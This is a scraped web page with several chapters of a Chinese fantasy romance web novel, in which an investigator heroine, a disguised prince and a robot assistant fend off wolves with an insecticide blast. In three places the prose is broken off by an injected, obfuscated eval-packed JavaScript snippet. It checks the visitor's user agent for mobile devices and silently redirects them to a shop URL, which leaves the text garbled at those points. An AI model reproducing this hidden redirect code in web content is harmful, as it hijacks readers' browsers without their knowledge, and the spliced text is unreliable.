冻得那些大臣宫侍齐齐打了个寒噤,小心翼翼抬头瞅了眼他们,确认两人都没留意这边后,不约而同开始搓胳膊取暖。 ……看不出来,他们这位未来的女主人,占有欲还挺强呢。 “我说的是‘要是’!这只是个假设懂吗?” 瑞贝卡摊了摊手,十分无语地叉腰扶额。 “假设也不行!” 塞缪尔学着她的样子,一叉腰,坚持地看着她。 “好吧好吧……” 瑞贝卡不得不放弃劝说她独立自主的长篇大论,重新想借口搪塞她。 “这个,你看……我们夫妻俩,你主外,我主内,行不行?你去卖这些陶器,我肯定要留在家里看家。不然,我们都出门了,万一附近有强盗,趁着没人在家,把我们窝都端了,我们在外面忙了一天回来,发现家被偷了,只能幕天席地、抱头痛哭了,那样多惨,对不对?” “那个……” 站得离两人近些的一个大臣闻言,颤颤巍巍地举起手来,想要说话。 他想说“这里离城市不远,在您的治下,哪儿会有什么强盗呢”,但话刚开了个头,就被瑞贝卡不着痕迹地瞪了一眼,吓得他赶紧捂住自己的嘴,低下了头,额上的冷汗都结成黄豆大小,摇摇欲坠。 ——这两人的情趣,他真的不懂啊! 塞缪尔见她言之凿凿,便放平了嘴角,勉强相信了这一说辞。 见瑞贝卡还叉着腰,他的手便趁虚而入,穿过她的肋下放在她背后,往自己的方向一收——她一时不察,脚下不稳,向前一扑,被他顺理成章接了个满怀。 她顿时瞪大了眼,面上惊恐的表情还没散去,就被塞缪尔接下来的动作按下了暂停键。 ——他双臂紧紧环住她,垂下头,埋首于她颈间,像只依赖主人的小狗一样,蹭了蹭,温热吐息毫无阻碍地喷洒在她肌肤上,好半晌,才闷闷地飘出一句: “……好想你。” 瑞贝卡的眼眶登时睁得更大了。 她浑身僵硬,动也不敢动,脑子里先是一片空白,然后像流星雨那样疯狂划过无数个对策。 但显然,这些在打家劫舍、除暴安良上无往而不利的对策,在对上塞缪尔的时候半点作用都起不到,反而快让大脑运行过载了。 “干嘛不应我?哑巴了?” 塞缪尔见她迟迟不动,跟个木偶一样愣在原地,非常不满。 他就着这个姿势,抱着瑞贝卡左右晃了晃,企图晃回她的神智。 他用撒娇的语气下令:“抱住我。” 瑞贝卡立刻条件反射环住了他的背。 “你没有什么想说的?” 见她这么听话,塞缪尔终于满意了,但很快又生出新的不满来。 他一上一下揽在她腰背的手臂收紧,让她柔软的身体更贴近自己,力道大得仿佛要将她揉入骨血中。 “说话。”他催促道。 “说说说说说什么?!” 瑞贝卡结巴得都快咬到自己舌头了。 “说你也想我。” 塞缪尔的嗓音放轻了些,温柔得几乎能滴出水来。 “我我我我我也想你!!” 瑞贝卡依旧舌头和牙齿打架,整个人快要石化成美杜莎的造物。 “嗯,这才对。” 塞缪尔白玉般的鼻尖轻轻压在她鲜艳的红发上,像一尊精雕细琢的希腊雕塑投入了熊熊燃烧的炽热火焰中。 他就着这个姿势又蹭了蹭她的头发,心里一千个一万个不愿意起来。 他嗓音压得极低,带着几分诱哄的意味:“那些陶器太多了,我搬不动,你陪我走一趟,好不好?就一会儿功夫,不会出事的。” 瑞贝卡的嘴都张成Type-C形状了,鼻腔里全是塞缪尔身上那股好闻的植物清香。 她的脑子本来正在无限循环“正在重启……重启失败……正在重启……重启失败……”,一听到正事,立刻重启成功,开机速度击败全国99%的电脑—— “不行不行!搬不动,你再让他们原样搬回去,存在店铺里。这么多人呢,不用白不用,反正也是付了工资——不是,付了钱的。你每天去集市的时候,先去找他们取了货再摆摊,不就方便多了吗!” ——好险,差点就说漏嘴,这些人都是她找来的托了。 塞缪尔闻言,抱着她的手一僵。 他站直身体,双手扶住瑞贝卡的双臂,迫使她直视自己已经泛红的双眼,声音哑得像砂纸磨过: “……你还是不想陪我去,对不对?” 瑞贝卡急得额头直冒汗,眼珠滴溜溜乱转就是不敢看他,“哪儿有的事!我真的有事要做!不信你问他们!” 既然解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359696|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了矛盾,那就转移矛盾! 她伸手一指那些战战兢兢的大臣宫侍,吓得众人双肩一抖,腿软得跟面条一样,恨不得马上就跪下,“对对对……您、您确实非常忙碌!” 塞缪尔顺着她的手指冷冷瞥过去,“忙什么?” “明天要和城东的汉娜女士就生鲜零售终端的价格协商行为发起共同研究!” “后天要和城西的马克先生就恩格尔系数持续走高一事展开深入讨论!” “大后天要和城南的安柏小姐就日常互动中的非正式对话进行多维分析!” 众人被这极具威慑力的一眼冻住,忙七嘴八舌地列出瑞贝卡的行程,生怕她的脚有半刻沾地。 塞缪尔:“……” 别以为他听不出来这是买菜买零食拉家常的意思。 上有政策,下有对策。他手伸到瑞贝卡看不见的背后,偷偷掐了自己大腿一把,挤出两滴鳄鱼的眼泪后,可怜兮兮地弯下腰,大鸟依人地倚在她肩头。 “好吧,既然你忙,我也不能勉强你……但是,你至少要来看我一眼,好不好?这个要求,不过分吧?” 动作间,他的眼泪被抹到了瑞贝卡脖颈上,湿答答、热乎乎的。 瑞贝卡心头一软,抬起手摸了摸他的头,“不过分,当然不过分,这我还是做得到的。不哭了,好不好,嗯?哭得我怪、怪……怪心疼的。” ——犹豫半天,她实在没好意思把“兴奋”两个字说出口。 没想到,塞缪尔一听她心疼自己,当即便破涕为笑:“真的?” 还没等她回答,他笑着笑着,鼻头一酸,又想流泪,只是这次的眼泪比几秒钟前的更真,因为他是真的想哭,喜极而泣。 他找了她这么多年,最大的心愿就是让她再一次注视着自己、用她那双美丽的金眸再一次将他纳入眼里。 他无法忍受不存活于她视线中的岁月,无法忍受呼吸不到她所呼吸的空气,就像鱼需要水那样…… 塞缪尔握着她双肩,把瑞贝卡的身体扳过来,让她面对着自己,双臂再次将她紧紧拢进怀里,深深地拥抱她。 他将脸埋进她肩颈,尽情地汲取她的气息,任由泪水放肆地打湿了他的睫毛,也打湿了她的肌肤。 “……我是真的很想你。” 他吸着鼻子,哽咽地说。 怦怦、怦怦……瑞贝卡心跳如擂鼓。 她深深地吸进一口气,竭力让自己冷静下来,然后张了张嘴,踌躇着,问出了那个萦绕在心头已久的问题—— “我们以前,见过吗?” “不是在你的王宫里……我是说,在更久远的以前。” 13. 歌鸫胡王子(13) 塞缪尔浑身一震。 他被这天真无知得近乎残忍的问题,问得猛然怔住。 呆立许久,他揽在瑞贝卡背后的手,才不自觉地,缓缓抓紧了她的衣服。 把耐造的粗麻布料都抓出了深深的褶皱。 眼泪掉得更欢了,很快就在瑞贝卡的肩窝蓄起了一滩浅浅的水潭。 他想告诉她——“当然,我们当然见过,只是你都不记得而已。你能记得什么?嗯?你还能记得什么?求求你,求求你全都想起来啊!” 他的嘴巴张得那样大,鲜红的舌头和洁白的牙齿都露了出来,冰凉的空气灌进喉咙。 他几乎以为自己已经嘶吼出声了,像日夜歌唱以致喉咙啼血的杜鹃一样,把因为等待她、寻找她、追逐她而不得不守在无尽的焦虑与崩溃中那数千个日夜全都嘶吼出来—— 直到含着泪的模糊视线,和瑞贝卡身后那群张目结舌的人,对上了。 他们傻傻地看着他,就像看着一个笑话。 他们并不能看见他心里的煎熬和痛苦,他们只看见了一个像牛皮糖一样黏在自家王子身上的高个儿“女人”。 尽管这个“女人”是邻国的公主,身份尊贵,但这并不妨碍他们觉得他疯了——抱着自家王子又哭又笑,又对着空气张开嘴半天,愣是不发出声音来。 莫名其妙的,估计是觉得西北风好喝吧。 “你今天到底怎么了?嗯?不会是害怕吧?” 瑞贝卡的声音突然响起,就近在耳边。 她的体温是那么真实,将他从混沌黑暗的崩溃中猛然拉回。 其实她也不明白发生了什么——自己不过是好端端站着,塞缪尔就忽然将她紧紧抱在怀里,然后一直抽泣,还牢牢地攥住了她背后的衣服,弄得她原本还算宽阔的衣领整个儿向后缩,勒住了脖子。 她生怕自己真被公主失手勒得背过气去,连忙出声关怀。 公主之前在宫里,肯定是大门不出、二门不迈的,金尊玉贵、如珠似宝地养着,会害怕和民众近距离接触也在情理之中。 别说自己出面卖东西了,之前每天给她带早餐,已经是非常大的进步了。 瑞贝卡正在思考有什么两全其美的办法,既能让公主坦然地上街卖陶器,又能让她好受些,就感觉抓在自己背后的那只手又紧了紧。 “……你为什么不说话?再多说几句啊!还是说,你又在想着怎么抛弃我,是么?” 塞缪尔死死地抱着她,恍惚地问。 “松手松手松手!” 瑞贝卡手臂背到身后,拼命拍打他揪紧了自己衣服的那只手。 ——这家伙在说什么啊?什么抛弃不抛弃的?难道认出她就是歌鸫胡王子了?可就算认出来了,那也是公主拒的婚啊? 如果非要用“抛弃”这个词的话,被抛弃的人是应该她才对吧! 看不出来,小公主还会倒打一耙呢。 轻微的痛感不足以让他闪躲,但却足以唤回他的神智。 塞缪尔怔怔地依言松开手,涣散的双眼在瑞贝卡的拍打下渐渐恢复了高光。 他这才看清,几米开外的那群人,已经像见到猫的耗子似的死死压下头,眼观鼻鼻观心,看鞋看地看蚂蚁,就是不抬头,仿佛他俩是什么生化武器一样,避之唯恐不及。 “我什么时候想着要抛弃你了?!” 瑞贝卡终于能喘上气儿来,没好气道。 她这么一个重视生活质量的人,连住不惯那个破土屋都没有接受NO.1的建议,丢下公主自己去城里找旅馆! 红口白牙的,别乱冤枉人好吗! “……你以后就知道了。” 塞缪尔张了张嘴,发现自己还是无法把那件事说出来,垂头丧气地耷拉下脑袋。 心里对某个尘沙造出的身躯的杀意也更重了。 他这副样子,简直跟夹着尾巴的落水狗也没有什么区别。瑞贝卡见了又心软,不由抬手摸摸他的头,眼角余光不经意一瞥,才发现自己身后那群人还没走—— 也就是说,刚才她和塞缪尔那出苦情戏全被看到了! 刹那间,瑞贝卡脑袋都要烧冒烟了。 她羞恼地朝他们吼:“愣着干嘛!还不走!要我请你们吗!一点眼力见没有!” 刚才那副丢人的样子全被看到了! 呃不对,好像最丢人的不是她…… 那又怎么样?还不是有损她王子的威严形象! “您您您您您还没给钱哪!” 大臣们和宫侍们汗如雨下,慌忙解释道。 虽然知道事后可以报销,但此地买卖的规矩就是先交货再付账。 既然要演,那他们就要尽职尽责地演好是不是? 瑞贝卡不耐烦道:“钱?钱就从国——过了我老婆这边账里出。” 好险好险……差点就要说漏嘴,说成“从国库里出”了。 瑞贝卡暗自捏了一把冷汗。 她一扬下巴,指挥道:“老婆,给他们点钱花花。” 众人汗颜:这台词,怎么感觉他们是打劫不成、只能放下棍棒改捧碗,求着好心过路人赏口饭吃的小混混? 而且自家王子这软饭……吃得也太理直气壮了吧! 瑞贝卡浑然不觉,在众人心目中,自己的威望已经下降一万点了。 一听瑞贝卡让他掏钱,塞缪尔立刻抬起了垂下的脑袋,眼睛像绿宝石一样闪闪发亮。 她使唤他做事了! 他又有利用价值了! 他毫不犹豫地从裙子的围兜里抓出一把金币来,塞进为首的大臣手中,还粲然一笑:“够不够?不够我再掏一把?” 众人疯狂点头:“够了够了够了!” 这么多金币,别说买几件陶器,就是把整座城市的陶器店全买下来都够了! 现在这位王国未来的女主人,在他们眼里,就像过年会发零花钱的姥姥一样和蔼可亲! “你真是……” 瑞贝卡看得肉疼,忙从那位大臣的手里抓了一把,扔回塞缪尔的围兜里。 “该给多少就给多少,不要扰乱市场秩序!” 这败家的公主殿下! 虽说“该给多少就给多少”,但剩下那些金币依旧远远超出了陶罐的价值。 大臣们和宫侍们拿了钱,就这样喜滋滋,哦不,灰溜溜地被赶走了。 临走前,瑞贝卡还让他们带上几个火把,说是这附近有狼,他们这么多人,狼群肯定闻着味儿就过来准备饱餐一顿了。 吓得众人忙到处捡柴,然后绞尽脑汁生火——火石倒是有,只是要一下子点着这么多把柴,没有充足的引火物,依旧有些难度。 最后还是塞缪尔看不下去,走进小木屋里,几分钟后,十根手指的八个指缝里都夹着一根火把出来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359697|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……扑哧。” 瑞贝卡本来正蹲在地上高高兴兴整理柴火,堆在屋外空地上。忽然感觉亮光由远及近,一抬头,就见塞缪尔所有手指缝都插满了火把,施施然出来了,还非常坦然地走过去分发给众人。 上头那张美丽得不可方物的脸,和戳在指缝里海葵触手似的一排火把形成了鲜明对比,真是要多滑稽有多滑稽。 她顿时十分不厚道地笑出了声,就立刻被塞缪尔瞪了一眼。 “还不是你往家里带这么多人,搞得乌烟瘴气的,我好心帮你擦屁股,结果你还笑我,你有良心没有?” 瑞贝卡被这么一埋怨,眼睛瞪得溜圆,但还是马上闭嘴,拇指和食指一捏,在唇上做了个拉拉链的动作,示意自己已经把嘴关上了。 总算送走了这群烦人的苍蝇。塞缪尔回身,就见瑞贝卡已经手脚麻利地把木柴整整齐齐地垒成一堆,拍拍手站起来。 “你刚才是怎么那么快生起火的?没把屋里点着吧?” 火焰就是伴随他一同降生的羊水,他怎么可能犯那种低级错误? 塞缪尔哭笑不得:“如果点着了,你现在就该闻见焦味了。” 话虽如此,但生性多疑的瑞贝卡还是抬脚往屋里走,塞缪尔紧跟其后。 想不到她才没走几步就猛一回头,两人险些撞个满怀。 “你干嘛跟我跟得那么紧?!” 瑞贝卡倒吸一口凉气,立刻护住自己挺翘的鼻子。 “人家喜欢你才一直跟着你嘛。” 塞缪尔立刻用那张漂亮的脸做出可怜巴巴的表情。 瑞贝卡瞪他一眼,气已经消了大半。 夜幕沉沉,零星几颗亮点掉落在黑天之上。 瑞贝卡在壁炉里生起火,点亮油灯,和塞缪尔共同分享了她带回来的一袋子贝奈特饼和牛肉烤饼,两个人搬了两只小板凳,腿挨着腿挤在壁炉前,就着哔哔剥剥的炉火吃晚餐。 瑞贝卡忙了一天,已经饿得不行了,双手捧着拆开的纸袋就大口大口吃起来。 昏黄而暧昧的光线下,她圆润的鼻头泛着暖玉般的光泽,沾了油渍的嘴唇张张合合,明明看着不大,一咬,掌心那么大的一块牛肉却消失得无影无踪,腮帮子一动一动,让人看起来很有食欲。 塞缪尔抿着唇微笑,就这样静静地看了她几分钟,瑞贝卡才终于察觉到视线的灼热,转过头去用眼神诧异看他。 “不吃?”瑞贝卡含糊不清问。 塞缪尔摇摇头,把自己手里那份牛肉烤饼往她手里一塞:“不饿,你替我吃了。” 瑞贝卡咀嚼的动作一顿,狐疑地盯着他许久,才把手中的牛肉烤饼往嘴边一送,继续埋头苦吃。 “下次不能再挑食。”她教训道。 虽然她很乐意帮他吃掉他那份,嘿嘿。 “没有挑食,真的不饿。” 塞缪尔慢吞吞地低下头去吃贝奈特饼,像小鸟一样“咔嚓”啄了一口。 瑞贝卡看了看那块仅仅受了点皮外伤、连灌满了果酱的蜂窝状内馅都没有露出来的饼,沉默了。 “……你到底是怎么长这么高的?” 就凭他这连小鸟都喂不饱的饭量? 那公主的妈妈肯定长得都快赶上三阿哥了吧? 否则除了天赋异禀以外,她想不出别的解释了——对于这个食量小得出奇、身量又高得出奇的家伙而言。 14. 歌鸫胡王子(14) 结束这简单而温馨的一餐后,瑞贝卡拿着火把去河边洗澡。 时值秋日,四面蝉鸣,河水冰凉。她一边洗得直打哆嗦,一边大喊:「NO.1!NO.1!」 「干嘛?叫魂啊你?」 蝉鸣声稍稍一顿,NO.1掏着耳朵回道。 它正躺在次空间里唯一的那把躺椅上,跷着二郎腿看漫画。 它平时待的次空间,因为可以被调查员随身携带,还没有容量限制,所以被瑞贝卡拿来当仓库装东西:什么随便对付一顿用剩的调料啦、临时拿来坐一坐的小板凳啦、在副本中得来的意外收获啦……全被她一股脑儿地塞进了次空间里。 所以次空间里原本有不少家具,NO.1想躺哪个就躺哪个。 但两天前,因为瑞贝卡搭建好小屋后,从次空间里取出了不少家具用来装点室内,所以现在次空间里除了放满东西的货架以外,基本上空空如也。 NO.1只好躺在这把平时看都不看一眼、放在角落吃灰的破躺椅上。 而之所以看都不看一眼,是因为有一回瑞贝卡在雨林沼泽边小憩,里头突然窜出一条足有两人高的巨鳄扑咬上来,嘴里的腥风都扑到了她脸上。 瑞贝卡来不及掏武器,只能翻身一滚,从躺椅上滚下去。巨鳄扑空,利齿瞬间刺破了结实的牛津布,体重坠着尖牙在布料上一扯,刷拉一声把布料撕出块大口子来。 这下躺椅不能躺了,但还能做别的。瑞贝卡就势抄起那把躺椅的残骸,用它的钢管骨架哐叽哐叽猛敲巨鳄吻部上方的鼻子,敲得它鼻孔一阵猛烈收缩,吃痛地缩回沼泽里,再也不敢出来了。 这把立下汗马功劳的躺椅从此就被收进次空间里,再没见过天日。 但看漫画怎么能不躺着呢?没东西躺的时候,就算是条鳄鱼来了,NO.1也敢躺它身上。反正它是金刚不坏之身,鳄鱼的牙齿就算再硬,也不可能跟航空金属硬碰硬。 它正看得津津有味,突然听见瑞贝卡的呼唤,小黑屏幕上顿时浮现出两个实心倒三角,无声地诉说着鄙夷。 刚才跟公主你侬我侬的时候没想起它来,现在知道叫它了?哼! 蝉们像赶着去投胎似的,叫得更急促了。瑞贝卡本来就被秋日的河水冻得浑身发抖,闻言直接翻了个白眼,没好气道:「怎么,本老大打扰到你的雅兴了?」 NO.1一听,忙把漫画一丢,搓着手谄媚道:「没有没有!老大您要做什么?请直接吩咐小的!」 瑞贝卡也不跟它客气,一边从河里爬上来,一边吩咐:「帮我看一下还剩几个关键任务节点。」 「两个!一个是伪装成喝醉的轻骑兵砸场子,一个是把落荒而逃的小厨娘拉回宴会厅。」 NO.1一听,忙正襟危坐地汇报。 这家伙,在正事上还是蛮靠谱的。 「看来这个任务很快就会结束了。」 此时蝉鸣渐小,比起刚才吵得人心烦的阵仗,这回倒是悦耳多了。 瑞贝卡已经擦干身子穿好衣服往回走,但还是冻得牙齿打架,挤出来的话也磕磕绊绊。 「但……真的有这么简单吗?」 而且,对于那些在任务世界中失踪的同事,她到现在也没什么头绪。 她总觉得任务不会那么轻松结束,就算结束了,她和NO.1恐怕也没那么容易就能脱离任务世界。 再者,塞缪尔身上的谜团也还没解开——她既有公主该有的身娇肉贵、又有公主不该有的娴熟技艺。 瑞贝卡一度怀疑她也是时空管理局派来的调查员,但却在她身上感应不到与自己一样同为异界来客的能量波动。 似乎公主本来就是这个时空的人。 所以瑞贝卡又拿不定主意了。 「老大,我发现,我们一直在着急忙慌地走剧情,完全忽略了一个致命的关键!」 NO.1又将任务说明仔细读了一遍,突然叫道。 「什么关键?」 瑞贝卡拿着火把走在林间,已经隐隐能看见小木屋透出的灯火就在前方不远处了。 「通关条件是“达成公主们的心愿,促成HE”啊!」 「SO……?」 「所以,我们要达成不止一个公主的“心愿”,还要完美地打出HE!所以,你得先知道塞缪尔的心愿是什么啊!」 瑞贝卡脚步猛地一顿。 「……你确定,“公主”这个词,后面还跟着个“们”字吗?」 她一字一句道。 夜风呼呼地啸叫着,火光在带有腥气的风中不断跳动摇曳,险些被熄灭。 她心头涌上一阵莫名的寒意。 似乎……安静得过分了。 刚才在河边洗澡的时候,蝉叫得不是还很欢吗? 怎么这会子全都哑巴了? 瑞贝卡似有所感,猛一回头—— 身后空空如也。 只有几点碧绿的萤火在黑黢黢的林间闪烁飞舞。 NO.1听了她的质疑,屏幕上缓缓出现两个问号,无语道:「你是在质疑我的视力?」 瑞贝卡:「……」 ……她怎么会蠢到把那个“们”给忽略了呢? 亏她还以为完成这个任务就可以回去了,原来在这儿等着她呢。 心头那股寒意越来越大,她抬步继续向前走,但不动声色地加快了脚步。 眼见她和塞缪尔的小屋就在前方几十米处了,NO.1把她的沉默当成了默认,还在喋喋不休: 「哼,老大可以质疑我傻,但绝不可以质疑我的视力!」 它现在就要证明给她看! NO.1环顾四周,双眼一亮—— 「你背后有七头野狼正在接近哦!」 虽然它们离她还有十几米,而且它们把自己的身形隐藏得很好,但身为辅助系统、以当前最高科技水平研发出来的智能机器人,它的这双大眼睛可不是徒有其表的! 别说是几头狼,就算是几只苍蝇,它都能把苍蝇腿上的毛一根根数出来! 「我靠!你不早说!!」 几乎是立刻,瑞贝卡醒悟过来自己刚才看到的“萤火”是什么,立马拔足狂奔,连头都来不及转回去看一眼—— 那哪是什么萤火虫,分明是狼的眼睛!!! 好消息:刚才被送走的大臣和宫侍肯定没喂狼,平安地回去了。 坏消息:狼没吃饱,自己找上门来了!! 她的红发在奔跑时掀起的气流中飘扬,肌肉发达的紧实小腿跑出了残影。 几乎是同时,在她开始撒丫子狂奔的时候,那几头狼也猛地扑了上来,锋利的趾爪在月光下闪动着寒芒,狠狠地刨起沙土向后扬去,四蹄狂奔,几乎是立刻就撵上了她的后背! 「你没问啊!」 NO.1也终于醒悟过来现在处于危急存亡的要命关头,急得直嚷。 「你连鳄鱼都打得过,没道理打不过狼啊!别光跑,反击它们啊!」 瑞贝卡光是奔跑就耗尽了所有力气,已经没力气再翻白眼了。 「你这个猪脑子能不能聪明一点?水里游的能和地上跑的比吗?你让狼跳水里也游不过鳄鱼啊!两条腿的跑到死都跑不过四条腿的,你以为我不想反击它们吗?!它们现在咬得这么紧,我连武器都掏不出来,停下来只有死路一条——我只有一个,对面可是有七个啊!」 「那怎么办?」 NO.1急得满头大汗,屏幕上的水滴emoji一个劲地往下淌。 「我找找有什么大规模的杀伤性武器……胡椒粉?杀虫剂?一袋黄豆?从海岛带回来的沙子?」 「你再找不出来我今天真的要折在这里了……」 在爆发性的持续奔跑中,瑞贝卡的力气很快就耗尽了,之所以现在还能勉强维持着跑动的状态,全靠那一点“好不容易才住上大房子绝对不能死在这里”的信念支撑着。 她为了不把狼带到她和塞缪尔居住的小屋去,在抬腿跑起来的那一瞬间,就立刻改换方向,冲进了另一条岔路口,此时离小木屋透出的那点光亮越来越远。 但她平时没有走过这条路,因此在隐隐看清路的尽头是视野十分开阔的悬崖时,心头只有操蛋的四个大字—— 天要亡她! 瑞贝卡堪堪在一脚踏空的上一秒停了下来,上半身因为惯性短暂地向前扑去、悬空在悬崖之上,得以看清了深不见底的黑暗。 鞋尖踢起的石子在空中划过一道完美的抛物线后落入深渊,瑞贝卡几乎可以想象出它与崖底岩石猛烈撞击然后粉身碎骨的惨状。 她缓缓转过身,就见那几头狼已经很有秩序地分散开来形成包围圈,彻底把回路堵死。 走动间,数十只狼爪子在地上摩擦出沙沙的声音,它们绿得快要滴出油的眼里闪动着饥饿与贪婪,嘴角腥臭的涎液一滴滴往下淌,已经在地上积了几小滩湿迹。 瑞贝卡深吸了一口气。 自己好歹也算时空管理局一大神话,没想到当年没死在危机重重的雨林中,这会儿反而要折在一个看似过家家的童话世界里,真是造化弄人。 上帝就喜欢开玩笑。 但……她宁愿打出BE结局,也不想让自己的死亡变成一个笑话。 「把……那瓶杀虫剂拿出来。」 话音刚落,她的右手中就立刻凭空出现了一只口罩和一瓶杀虫剂——就是最普通的那种家用杀虫剂,铁蓝色的瓶身,马口铁的外壳,拿在手里沉甸甸的,晃荡晃荡还有液体声。 这杀虫剂她没用过几回,一是因为入职没多久她就疯狂出任务,大部分时间都是在任务世界中度过的,一个月基本上就回去住个两三天;二是因为入职之后不到半年她就搬进了前十专属的大别墅,彻底告别了那个又小又旧、隔音稀烂,还有蟑螂的老单元楼,这杀虫剂自然也就派不上用场了。 「惹谁不好呢?偏要惹我。」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359698|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞贝卡冷笑一声,左手给自己戴好口罩,还不忘压了压鼻梁让口罩更贴合脸部轮廓,右手食指已经贴在了那个按压式喷头上。 「虽然这瓶杀虫剂还不够你们七条虫豸分的,你们吸入之后不会马上就死,但至少在我临死前,还能享受享受哀嚎的交响曲。」 NO.1早已屏住了呼吸,紧张地注视着眼前的一切,两只小手交握着,攥得死紧。 如果它也有心脏的话,现在肯定已经跳出胸口了。 狼们当然听不懂她的挑衅,它们只知道眼前的活人散发着鲜美可口的气味,它们只知道接下来就要有大餐吃了,而它们也只想饱餐一顿。 它们身体后移,四肢蓄力,猛地扑上前来,森森的利齿泛着幽蓝的寒光—— 就是现在! 瑞贝卡身体一矮,整个人几乎平躺下去,泥鳅似的,一个滑铲从狼群跃起的身体底下灵巧地钻过去。 后背紧紧贴在沙土地上,粗糙的地面将粗布衣服都磨薄了,沙石隔着衣料硌着皮肤,摩擦出一阵火辣辣的痛感。 但瑞贝卡已经顾不了那么多了。她屏住呼吸、闭上眼睛,举起杀虫剂一阵猛喷,手指在短短的零点几秒内狂按喷头,毫不节省。 眼睛闭上了看不见,她就凭着直觉专往它们的口鼻眼喷,正好那些狼扑过来的时候都大张着嘴,正好便利了她行事。 虽然闭着眼,但眼皮何其薄,上眼睑是人身上最薄的地方,最厚也不过0.5毫米。 因此,即使瑞贝卡闭着眼,她还是从混沌的黑影中,敏锐地捕捉到了那一丝掠过视网膜的亮光。 起先很小,后来越来越大,由远及近,呼啸着从她头顶飞过去,仿佛还带着惊人的热度。 瑞贝卡心中一惊,又惊又惧,从狼群身子底下滑过去后,一稳住身子,就立刻扭过上半身,睁开了眼—— 只见一颗颗拳头大的火球犹如流星般照亮了头顶的天空,精准地向着狼群飞过去,还没接触到狼的皮毛,就立刻在空气中膨胀、炸裂,火光迅速地迸溅开来,在空气中炸成了视网膜上一颗硕大的、耀目的白斑。 她一时被亮得睁不开眼,只能再次闭上眼,以免视力受损。 随后,有什么腥膻的、温热的东西像雨一样扑簌簌落下来,刺鼻的气味刺激得瑞贝卡一阵阵作呕。 她几乎是立刻就辨认出了这气味的来源是什么,顿时又是一阵干呕,在胃部的不断蠕动之下,被胃液消化成浆糊的牛肉烤饼和贝奈特饼以及一些酸水已经涌到了嗓子眼,她竭尽全力蠕动喉咙吞咽,才让它们不要跑出来。 她回身,背对着身后已经被炸成血泥的狼群,腿软地站起来,几乎是连滚带爬往前跑。 没跑了几步,鼻子突然撞上一堵软软弹弹的墙,撞得她鼻头发酸,下意识后退了两步,还没睁开眼,就被揽在后腰的一只手臂一收,猛地向前扑去,再一次撞上了那堵触感奇妙的墙。 ……那股酸爽的感觉直刺大脑,瑞贝卡痛得鼻血都快下来了。 “遇到危险怎么不叫我?” 塞缪尔紧紧地抱着她,力道大得像是要把她融进自己的骨血,语气中满是惊魂未定和失而复得的后怕。 他抱着她的手臂肌肉紧绷,处于随时可以暴起杀狼的应激状态。 ……天知道他刚才赶来,看见那群狼向瑞贝卡扑去的画面,那一刻他真的以为自己又要失去她了。 直到这一刻把她柔软温热的躯体抱在怀里,感受着她因为惊惧而微微发着抖,那种恐慌才慢慢消散了。 他低下头,嘴唇不断亲吻在她头发上,滑滑凉凉的触感令他感到一阵久违的安心。 瑞贝卡虽然被他紧紧抱在怀里,抬起头只能看见他修长的脖颈和下巴,但他身上那股好闻的玫瑰清香涌入鼻腔,傻子才猜不出现在正抱着自己的人是谁。 她剧烈地喘息着,好不容易平复了,才骂道: “你放火干什么?!” 要不是她正好利用狼群起跳后空出来的下方滑铲逃脱,现在被炸成肉泥的就是她了! 虽然不知道塞缪尔是怎么做到让火焰变成球状并精准投放出去的,但是不管了先骂再说! 塞缪尔还沉浸在心有余悸中,满脑子都是刚才张着血盆大口的狼群向她扑去的画面,还没回过神来就被骂得狗血淋头,当即脑子彻底停摆,傻站在原地不动了。 “……为、为什么不能放火?” 他双手抓紧她的双臂,目光紧紧盯着她的脸,结结巴巴地问。 直到这时,他才看清她脸上的肉泥和血泥。 再看看远处,刚才那些眼冒绿光、口流涎液的野狼,竟然已经被炸得不成样子了。 刚才他满心满眼都是要接住她,竟然没注意到这么大的动静。 “……它们怎么被炸成这样了?” 塞缪尔有些迷茫。 “你说呢?!” 瑞贝卡没好气道。 “——我用了杀虫剂!” 15. 歌鸫胡王子(15) “杀虫……剂?” 塞缪尔脸上流露出了恰到好处的迷茫,“那是什么?” 瑞贝卡一拍额头——忘了这个时代的人,知识水平比原始人也高不了多少了。 “总之你以后不能随随便便放火,听明白了没?” 杀虫剂中的液体之所以能变成喷雾,是因为罐中还装有以丙烷、丁烷等碳氢化合物为主要成分的推动剂。但这些物质燃点极低,极易燃烧。药液喷出后,丙烷、丁烷与空气混合形成爆炸性混合物,遇明火、火花或高温会迅速燃烧或爆炸。 而杀虫剂喷雾形成的混合物又通常处于爆炸极限内——这下可燃物、助燃物、着火源,以及爆炸极限全都满足了,不炸才怪。 虽然瑞贝卡没有多说,可是她看向自己时,两只眼睛都写满了“我不跟丈育多哔哔”。 塞缪尔:“……” 